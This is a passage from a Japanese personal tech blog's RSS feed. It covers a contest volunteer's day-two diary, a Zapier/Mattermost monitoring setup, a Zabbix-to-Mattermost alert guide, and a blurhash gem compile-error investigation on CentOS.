&lt;h2 id=&#34;2日目&#34;&gt;2日目&lt;/h2&gt;
&lt;p&gt;朝5時半頃に目が覚めてしまったため、1日目の参加記を書きつつ暇を潰す。&lt;br&gt;
ホテルで朝食を摂り、7時45分に会場へ集合。&lt;br&gt;
受付周り対応の注意点確認や張り紙準備などをして会場時間を待つ。&lt;/p&gt;
&lt;p&gt;開場後、1日目と同様に受付班の仕事をこなす。特にトラブルなど無し。&lt;br&gt;
全てのチームの受付終了後、風船と印刷物配り&amp;amp;会場内巡回の班に合流。&lt;br&gt;
1日目と違い最初の提出ラッシュが無いため、比較的楽だった。&lt;/p&gt;
&lt;p&gt;問題点として、4枚以上の印刷を行うと印刷内容がずれてコードが一部読めなくなるという問題がプリンタ側にあり、都度選手へ問題ないか確認する作業が発生した。&lt;br&gt;
幸い4枚以上印刷を行うチームがそこまでいなかったため手間取らなかったが、来年からは別のプリンタを使ってほしい。&lt;/p&gt;
&lt;p&gt;コンテスト終了後は急いで撤収作業を行い、作業終了後に選手の順位発表へ合流。&lt;br&gt;
毎年のことだがこの時間帯は歩きすぎにより足が終わっているため、ホール内床に座って見学していた。 (治安が悪い)&lt;/p&gt;
&lt;p&gt;その後の立食は立ち続けられる自信が全く無かったため、裏側で座って過ごす。&lt;br&gt;
頃合いを見計らいパンを数個くすねて食べていた。&lt;br&gt;
選手退場後、会場内片付けを行い撤収。&lt;/p&gt;</description>
    </item>
    <item>
      <title>入門 監視 (日常編)</title>
      <link>https://unigiri.gitlab.io/posts/monitor-everything/</link>
      <pubDate>Sat, 20 Jul 2019 21:34:33 +0900</pubDate>
      <guid>https://unigiri.gitlab.io/posts/monitor-everything/</guid>
      <description>&lt;p&gt;オンライン勉強会である&lt;a href=&#34;https://wp.infra-workshop.tech/&#34;&gt;インフラ勉強会&lt;/a&gt;でLTを行った。&lt;/p&gt;
&lt;p&gt;以下は発表時のカンペ兼資料であり、詳細は口頭で説明したためここでは省略する。&lt;/p&gt;
&lt;h3 id=&#34;ここでの監視の意味&#34;&gt;ここでの「監視」の意味&lt;/h3&gt;
&lt;p&gt;ニュース、ブログ、SNS等、あらゆるメディアの更新状況の目視確認&lt;/p&gt;
&lt;h3 id=&#34;監視においてやっていること&#34;&gt;監視においてやっていること&lt;/h3&gt;
&lt;p&gt;目視確認の作業基盤を1つのサービスに集約し管理している&lt;/p&gt;
&lt;p&gt;以下のうれしさがある&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;自分の見たい情報&lt;strong&gt;のみ&lt;/strong&gt;の確認が可能&lt;/li&gt;
&lt;li&gt;未読/既読の管理が容易&lt;/li&gt;
&lt;li&gt;メディアごとのアプリダウンロードやお気に入り登録が不要&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&#34;仕組み&#34;&gt;仕組み&lt;/h3&gt;
&lt;p&gt;[Apps, Web Services] &amp;ndash;&amp;gt; [Zapier] - incoming webhook &amp;ndash;&amp;gt; [Mattermost] &amp;ndash; eyes &amp;ndash;&amp;gt; [Unigiri]&lt;/p&gt;
&lt;h3 id=&#34;why-mattermost&#34;&gt;Why Mattermost?&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;ほぼ趣味&lt;/li&gt;
&lt;li&gt;OSSなのでソースが読め、挙動に不満があれば改善を要求できる&lt;/li&gt;
&lt;li&gt;自鯖に立てるチャットツールなので、個人情報の投稿も気軽に可能 (目的が監視のみの場合あまり意味はない)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&#34;why-zapier&#34;&gt;Why Zapier?&lt;/h3&gt;
&lt;p&gt;Twitterのツイート取得とMattermostへの投稿に対応している&lt;/p&gt;
&lt;h3 id=&#34;監視項目&#34;&gt;監視項目&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Blog&lt;/li&gt;
&lt;li&gt;Calender&lt;/li&gt;
&lt;li&gt;News (The Japan Times)&lt;/li&gt;
&lt;li&gt;Security News (CISA)&lt;/li&gt;
&lt;li&gt;Twitter&lt;/li&gt;
&lt;li&gt;Zabbix Alert&lt;/li&gt;
&lt;/ul&gt;</description>
    </item>
    <item>
      <title>MattermostへのZabbix Alert通知方法</title>
      <link>https://unigiri.gitlab.io/posts/notify-zabbix-alert-to-mattermost/</link>
      <pubDate>Sat, 06 Jul 2019 19:38:17 +0900</pubDate>
      <guid>https://unigiri.gitlab.io/posts/notify-zabbix-alert-to-mattermost/</guid>
      <description>&lt;h2 id=&#34;環境&#34;&gt;環境&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Mattermost 5.11.0&lt;/li&gt;
&lt;li&gt;Zabbix 4.2.4&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;手順&#34;&gt;手順&lt;/h2&gt;
&lt;h3 id=&#34;1-incoming-webhook生成&#34;&gt;1. Incoming Webhook生成&lt;/h3&gt;
&lt;p&gt;Mattermostのメニューより &lt;code&gt;Integrations &amp;gt; Incoming Webhook &amp;gt; Add Incoming Webhook&lt;/code&gt; を選択。&lt;br&gt;
Channelは通知したいチャンネルを選択し、それ以外は任意。&lt;/p&gt;
&lt;p&gt;設定後に生成されるURLを控えておく。&lt;/p&gt;
&lt;h3 id=&#34;2-zabbixサーバに通知用スクリプトを設置&#34;&gt;2. Zabbixサーバに通知用スクリプトを設置&lt;/h3&gt;
&lt;p&gt;ここでは &lt;a href=&#34;https://github.com/jirouette/zabbix-mattermost-alertscript&#34;&gt;https://github.com/jirouette/zabbix-mattermost-alertscript&lt;/a&gt; を利用する。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;/etc/zabbix/zabbix_server.conf&lt;/code&gt; の &lt;code&gt;AlertScriptsPath=&lt;/code&gt; に設定されているパスの直下に、上記スクリプト mattermost.py を設置する。&lt;/p&gt;
&lt;p&gt;内容は、以下のように一部書き換える。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;URL
&lt;ul&gt;
&lt;li&gt;手順1にて生成したURL&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;ICON
&lt;ul&gt;
&lt;li&gt;通知時に表示したいiconのURL&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;また、パーミッションを以下のコマンドで変更する。&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;sudo chown root:root mattermost.py
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;sudo chmod &lt;span class=&#34;m&#34;&gt;755&lt;/span&gt; mattermost.py
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;変更後、以下のコマンドでMattermostに通知が飛ぶかを確認する。&lt;br&gt;
&lt;code&gt;#alerts&lt;/code&gt; は通知するChannelを指定する。&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;python mattermost.py &lt;span class=&#34;s1&#34;&gt;&amp;#39;#alerts&amp;#39;&lt;/span&gt; PROBLEM &lt;span class=&#34;s1&#34;&gt;&amp;#39;Oh no! Something is wrong!&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;3-media-type-生成&#34;&gt;3. Media Type 生成&lt;/h3&gt;
&lt;p&gt;Zabbixのコンソールより &lt;code&gt;Administration &amp;gt; Media types &amp;gt; Create media type&lt;/code&gt; を選択し、以下のように入力。&lt;/p&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; src=&#34;https://unigiri.gitlab.io/posts/notify-zabbix-alert-to-mattermost/1.png&#34;&gt;&lt;/p&gt;
&lt;h3 id=&#34;4-user-生成&#34;&gt;4. User 生成&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;Administration &amp;gt; Users&lt;/code&gt; より、新規あるいは既存ユーザを選択し、Mediaへ以下の内容を追加する。&lt;br&gt;
ただし、Send toには手順1にて設定したChannelを指定する。&lt;/p&gt;</description>
    </item>
    <item>
      <title>blurhash v0.1.2 コンパイルエラー調査</title>
      <link>https://unigiri.gitlab.io/posts/bug-in-blurhash-0_1_2/</link>
      <pubDate>Mon, 06 May 2019 01:49:18 +0900</pubDate>
      <guid>https://unigiri.gitlab.io/posts/bug-in-blurhash-0_1_2/</guid>
      <description>&lt;h2 id=&#34;何が起こったか&#34;&gt;何が起こったか&lt;/h2&gt;
&lt;p&gt;Mastodon v2.8.1において、特定の環境で&lt;code&gt;gem install blurhash&lt;/code&gt;に失敗する不具合が発生した。この問題はv2.8.2で修正されている。&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;https://mstdn.jp/@yi0713/102008223252331858&#34;&gt;https://mstdn.jp/@yi0713/102008223252331858&lt;/a&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;CentOS勢、masterに追加された blurhash というgemのインストールでコケると思います。原因は gcc が 4.8.5 と古いためのようです&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;a href=&#34;https://mastodon.social/@Mastodon/102044104623035256&#34;&gt;https://mastodon.social/@Mastodon/102044104623035256&lt;/a&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Some people have reported problems installing Mastodon v2.8.1 due to gem compilation.&lt;br&gt;
This and a few other small bugs have been fixed in #Mastodon v2.8.2&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id=&#34;不具合の再現&#34;&gt;不具合の再現&lt;/h2&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;$ cat /etc/redhat-release
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;CentOS Linux release 7.6.1810 &lt;span class=&#34;o&#34;&gt;(&lt;/span&gt;Core&lt;span class=&#34;o&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;$ gcc -v
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;Using built-in specs.
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;COLLECT_GCC&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;gcc
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;COLLECT_LTO_WRAPPER&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;/usr/libexec/gcc/x86_64-redhat-linux/4.8.5/lto-wrapper
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;Target: x86_64-redhat-linux
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;Configured with: ../configure --prefix&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;/usr --mandir&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;/usr/share/man --infodir&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;/usr/share/info --with-bugurl&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;http://bugzilla.redhat.com/bugzilla --enable-bootstrap --enable-shared --enable-threads&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;posix --enable-checking&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;release --with-system-zlib --enable-__cxa_atexit --disable-libunwind-exceptions --enable-gnu-unique-object --enable-linker-build-id --with-linker-hash-style&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;gnu --enable-languages&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;c,c++,objc,obj-c++,java,fortran,ada,go,lto --enable-plugin --enable-initfini-array --disable-libgcj --with-isl&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;/builddir/build/BUILD/gcc-4.8.5-20150702/obj-x86_64-redhat-linux/isl-install --with-cloog&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;/builddir/build/BUILD/gcc-4.8.5-20150702/obj-x86_64-redhat-linux/cloog-install --enable-gnu-indirect-function --with-tune&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;generic --with-arch_32&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;x86-64 --build&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;x86_64-redhat-linux
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;Thread model: posix
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;gcc version 4.8.5 &lt;span class=&#34;m&#34;&gt;20150623&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;(&lt;/span&gt;Red Hat 4.8.5-36&lt;span class=&#34;o&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;(&lt;/span&gt;GCC&lt;span class=&#34;o&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;$ gem install blurhash -v 0.1.2
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;Building native extensions.  This could take a &lt;span class=&#34;k&#34;&gt;while&lt;/span&gt;...
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;ERROR:  Error installing blurhash:
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        ERROR: Failed to build gem native extension.
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    /usr/bin/ruby extconf.rb
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;creating Makefile
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;make &lt;span class=&#34;s2&#34;&gt;&amp;#34;DESTDIR=&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;gcc -I. -I/usr/include -I/usr/include/ruby/backward -I/usr/include -I.   -fPIC -O2 -g -pipe -Wall -Wp,-D_FORTIFY_SOURCE&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;m&#34;&gt;2&lt;/span&gt; -fexceptions -fstack-protector-strong --param&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;ssp-buffer-size&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;m&#34;&gt;4&lt;/span&gt; -grecord-gcc-switches -mtune&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;generic -fPIC -m64 -o encode.o -c encode.c
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;encode.c: In &lt;span class=&#34;k&#34;&gt;function&lt;/span&gt; &lt;span class=&#34;s1&#34;&gt;&amp;#39;blurHashForPixels&amp;#39;&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;encode.c:28:2: error: &lt;span class=&#34;s1&#34;&gt;&amp;#39;for&amp;#39;&lt;/span&gt; loop initial declarations are only allowed in C99 mode
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;k&#34;&gt;for&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;(&lt;/span&gt;int &lt;span class=&#34;nv&#34;&gt;y&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; 0&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; y &amp;lt; yComponents&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; y++&lt;span class=&#34;o&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  ^
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;encode.c:28:2: note: use option -std&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;c99 or -std&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;gnu99 to compile your code
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;encode.c:29:3: error: &lt;span class=&#34;s1&#34;&gt;&amp;#39;for&amp;#39;&lt;/span&gt; loop initial declarations are only allowed in C99 mode
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;   &lt;span class=&#34;k&#34;&gt;for&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;(&lt;/span&gt;int &lt;span class=&#34;nv&#34;&gt;x&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; 0&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; x &amp;lt; xComponents&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; x++&lt;span class=&#34;o&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;   ^
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;encode.c:48:3: error: &lt;span class=&#34;s1&#34;&gt;&amp;#39;for&amp;#39;&lt;/span&gt; loop initial declarations are only allowed in C99 mode
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;   &lt;span class=&#34;k&#34;&gt;for&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;(&lt;/span&gt;int &lt;span class=&#34;nv&#34;&gt;i&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; 0&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; i &amp;lt; acCount * 3&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; i++&lt;span class=&#34;o&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;   ^
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;encode.c:62:2: error: &lt;span class=&#34;s1&#34;&gt;&amp;#39;for&amp;#39;&lt;/span&gt; loop initial declarations are only allowed in C99 mode
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;k&#34;&gt;for&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;(&lt;/span&gt;int &lt;span class=&#34;nv&#34;&gt;i&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; 0&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; i &amp;lt; acCount&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; i++&lt;span class=&#34;o&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  ^
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;encode.c: In &lt;span class=&#34;k&#34;&gt;function&lt;/span&gt; &lt;span class=&#34;s1&#34;&gt;&amp;#39;multiplyBasisFunction&amp;#39;&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;encode.c:75:2: error: &lt;span class=&#34;s1&#34;&gt;&amp;#39;for&amp;#39;&lt;/span&gt; loop initial declarations are only allowed in C99 mode
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;k&#34;&gt;for&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;(&lt;/span&gt;int &lt;span class=&#34;nv&#34;&gt;y&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; 0&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; y &amp;lt; height&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; y++&lt;span class=&#34;o&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  ^
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;encode.c:76:3: error: &lt;span class=&#34;s1&#34;&gt;&amp;#39;for&amp;#39;&lt;/span&gt; loop initial declarations are only allowed in C99 mode
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;   &lt;span class=&#34;k&#34;&gt;for&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;(&lt;/span&gt;int &lt;span class=&#34;nv&#34;&gt;x&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; 0&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; x &amp;lt; width&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; x++&lt;span class=&#34;o&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;   ^
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;encode.c: In &lt;span class=&#34;k&#34;&gt;function&lt;/span&gt; &lt;span class=&#34;s1&#34;&gt;&amp;#39;encode_int&amp;#39;&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;encode.c:129:2: error: &lt;span class=&#34;s1&#34;&gt;&amp;#39;for&amp;#39;&lt;/span&gt; loop initial declarations are only allowed in C99 mode
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;k&#34;&gt;for&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;(&lt;/span&gt;int &lt;span class=&#34;nv&#34;&gt;i&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; 0&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; i &amp;lt; length - 1&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; i++&lt;span class=&#34;o&#34;&gt;)&lt;/span&gt; divisor *&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; 83&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  ^
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;encode.c:131:10: error: redefinition of &lt;span class=&#34;s1&#34;&gt;&amp;#39;i&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;k&#34;&gt;for&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;(&lt;/span&gt;int &lt;span class=&#34;nv&#34;&gt;i&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; 0&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; i &amp;lt; length&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; i++&lt;span class=&#34;o&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;          ^
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;encode.c:129:10: note: previous definition of &lt;span class=&#34;s1&#34;&gt;&amp;#39;i&amp;#39;&lt;/span&gt; was here
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;k&#34;&gt;for&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;(&lt;/span&gt;int &lt;span class=&#34;nv&#34;&gt;i&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; 0&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; i &amp;lt; length - 1&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; i++&lt;span class=&#34;o&#34;&gt;)&lt;/span&gt; divisor *&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; 83&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;          ^
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;encode.c:131:2: error: &lt;span class=&#34;s1&#34;&gt;&amp;#39;for&amp;#39;&lt;/span&gt; loop initial declarations are only allowed in C99 mode
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;k&#34;&gt;for&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;(&lt;/span&gt;int &lt;span class=&#34;nv&#34;&gt;i&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; 0&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; i &amp;lt; length&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; i++&lt;span class=&#34;o&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  ^
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;make: *** &lt;span class=&#34;o&#34;&gt;[&lt;/span&gt;encode.o&lt;span class=&#34;o&#34;&gt;]&lt;/span&gt; Error &lt;span class=&#34;m&#34;&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;Gem files will remain installed in /usr/local/share/gems/gems/blurhash-0.1.2 &lt;span class=&#34;k&#34;&gt;for&lt;/span&gt; inspection.
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;Results logged to /usr/local/share/gems/gems/blurhash-0.1.2/ext/blurhash/gem_make.out
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;原因&#34;&gt;原因&lt;/h2&gt;
&lt;p&gt;再現時のエラーにある通り、for文内で&lt;code&gt;int i&lt;/code&gt;と宣言しているため。これはC99から導入された仕様であり、コンパイル時に&lt;code&gt;-std=c99&lt;/code&gt;を指定する必要がある。&lt;/p&gt;</description>
    </item>
    <item>
      <title>Google CTF 2018 Beginners Quest 問題解説</title>
      <link>https://unigiri.gitlab.io/posts/google-ctf-2018-beginners-quest/</link>
      <pubDate>Wed, 19 Dec 2018 08:54:08 +0900</pubDate>
      <guid>https://unigiri.gitlab.io/posts/google-ctf-2018-beginners-quest/</guid>
